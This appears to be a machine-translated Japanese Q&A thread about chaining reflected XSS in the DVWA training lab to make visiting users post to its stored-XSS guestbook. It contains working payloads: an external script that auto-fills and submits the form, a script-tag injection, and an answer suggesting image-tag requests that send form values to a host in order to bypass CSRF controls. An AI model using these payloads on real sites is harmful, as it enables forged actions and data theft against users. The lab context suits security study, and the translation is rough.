DVWAでは、通常のalert('XSS');
シナリオとは異なる攻撃方法を理解しようとしています。
リフレクティブXSSを使用してペイロードを配信し、URLをたどるユーザーに同じWebアプリケーションの[保存されたXSS]セクションで投稿を送信させます。これが私の外部JSコードです
var pagech = document.getElementsByTagName('a')[11].click();
var name = document.getElementsByName("txtName")[0].value="helloworld";
var comment = document.getElementsByName("mtxMessage")[0].value="helloworld2";
var sub = document.getElementsByTagName('input')[1].click();
このコードは基本的に、ページを保存されたxssページに切り替え、いくつかの値を入力してフォームを送信します。これは、Firebugコンソール内で機能しますが、以下の反射型XSSの脆弱性を使用して実行すると機能しません。
<script src="http://172.16.150.172/dvwa/hackable/uploads/XSS.js"></script>
代わりに、ユーザーページは切り替わりますが、投稿は送信されません。可能であれば、どうすれば修正できますか?
開発者コンソールで段階的に実行されるコード[!]とページの一部であるJavaScriptの間には大きな違いがあります。
すべての実行中JavaScriptは停止しますあなたがナビゲートする別のページへ。
しかし、なぜユーザーを模倣するJavaScriptを作成する必要があるのでしょうか。
POSTリクエストを送信する場合(たとえば、ユーザーがフォームを送信するように見えるものを送信する場合)は、 [〜#〜] ajax [〜#〜] -POST-Requestを使用します。 this Stack Overflow Answer
POSTをWebサイト自体から送信する場合(CSRFコントロールを回避するため))、フォームが表示されている間にスクリプトを実行するための賢い方法を考える必要があります。
例えば:
ペイロードでトップレベルのナビゲーションを引き起こすと、それ以上スクリプトが実行されなくなります。したがって、操作する他のサイトアイテムのコンテンツを格納するには、DOMまたはJavaScriptオブジェクトを使用する必要があります。
おそらく、HTTP GEtリクエストを使用してペイロードを注入できます。 img
タグを使用できます。
<img src="http://172.16.150.172/dvwa/payload?txtName=helloworld&mtxMessage=helloworld2" />
または、スクリプトを変更して動的に作成します。
<script>
var value1 = document.getElementById("txtName").value;
var value2 = document.getElementById("mtxMessage").valued;
document.createElement("img").src="http://172.16.150.172/dvwa/payload?txtName="+value1+"&mtxMessage="+value2;
</script>
この情報がお役に立てば幸いです。
幸運を。